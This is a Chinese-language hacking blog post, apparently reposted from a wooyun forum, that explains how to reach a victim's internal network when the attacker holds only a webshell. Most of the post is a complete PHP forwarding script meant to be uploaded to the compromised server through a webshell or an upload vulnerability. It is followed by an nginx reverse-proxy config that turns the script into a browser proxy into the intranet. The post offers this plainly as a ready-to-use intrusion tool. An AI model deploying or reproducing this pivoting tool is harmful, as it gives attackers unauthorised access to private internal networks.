用Webshell直接杀入内网

信息安全 1739 Views

有时候要代理进内网,但是服务器没有外网端口,也没法执行命令反弹lcx什么的,也没有提权什么什么的,只有一个webshell,这个时候就比较蛋疼了。鄙人不才,写了一个比较山寨的php+nginx反向代理,可以比较容易的实现这个功能。

架设起来也算是比较方便了。就把这个用webshell也好,上传漏洞也好,甩到对方服务器上。然后配置一下本地的nginx,做一个反向代理+rewrite就OK。

先看代码

proxy.php

<?php

if(!isset($_GET['url'])){

exit(0);

}

$ch = curl_init();

$url=$_GET['url'];

if(strstr($url,'?')){

$url.='&';

}

else{

$url.='?';

}

unset($_GET['url']);

foreach($_GET as $Key=>$Val){

if(get_magic_quotes_gpc()){

$Val=stripslashes($Val);

}

$url=$url.'&'.$Key.'='.urlencode($Val);

}

$cookie='';

foreach($_COOKIE as $Key=>$Val){

if(get_magic_quotes_gpc()){

$Val=stripslashes($Val);

}

$cookie=$cookie.$Key.'='.urlencode($Val).'; ';

}

if($_SERVER['REQUEST_METHOD']=="POST"){

curl_setopt($ch, CURLOPT_POST, 1);

$post_data='';

foreach($_POST as $Key=>$Val){

if(get_magic_quotes_gpc()){

$Val=stripslashes($Val);

}

$post_data=$post_data.'&'.$Key.'='.urlencode($Val);

}

curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);

}

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);

curl_setopt($ch, CURLOPT_COOKIE, $cookie);

curl_setopt($ch, CURLOPT_HEADER, TRUE);

curl_setopt($ch, CURLOPT_NOBODY, FALSE);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

if(isset($_SERVER['HTTP_REFERER'])){

curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']);

}

$Response=curl_exec($ch);

if(!$Response){

curl_close($ch);

exit(0);

}

$HttpStatus=curl_getinfo($ch,CURLINFO_HTTP_CODE);

$Header=substr($Response,0,curl_getinfo($ch, CURLINFO_HEADER_SIZE));

$Body=substr($Response,curl_getinfo($ch, CURLINFO_HEADER_SIZE));

$Headers=split("\r\n",$Header);

foreach($Headers as $ThusHead){

if($ThusHead == 'Transfer-Encoding: chunked' || strstr($ThusHead,'Content-Length')!==false){

continue;

}

header($ThusHead,FALSE);

}

echo $Body;

curl_close($ch);

?>

代码很简单,也有一些简单的小bug,不知各位看官看出来没有,我也懒得去修改了。

另外就是:1. 这个代理只支持基本的GET/POST并不支持上传文件,有兴趣的可以自己看看,搞搞,搞完发出来,造福大家

2. 这个代理在转发post请求的时候,用的并不是www-url-encode,所以,也许会有的程序识别不正常

然后在本地的nginx里面新加一个配置

# proxy webshell

server {

listen 这里写监听端口;

location ~ () {

proxy_pass http://webshell的IP/文件/存放/目录/proxy.php?url=http://$host/$request_uri;

proxy_set_header Host "访问webshell用域名";

}

}

然后重新加载一下nginx配置,配置浏览器使用nginx监听的端口做为代理,就可以使了。

给个效果图

[via@wooyun zone]

(点击“阅读原文”可以进行评论或浏览更多文章喔,还可直接回复订阅号,告诉妹子你的看法()~*

如未说明则本站原创,转载请注明出处:NULL » 用Webshell直接杀入内网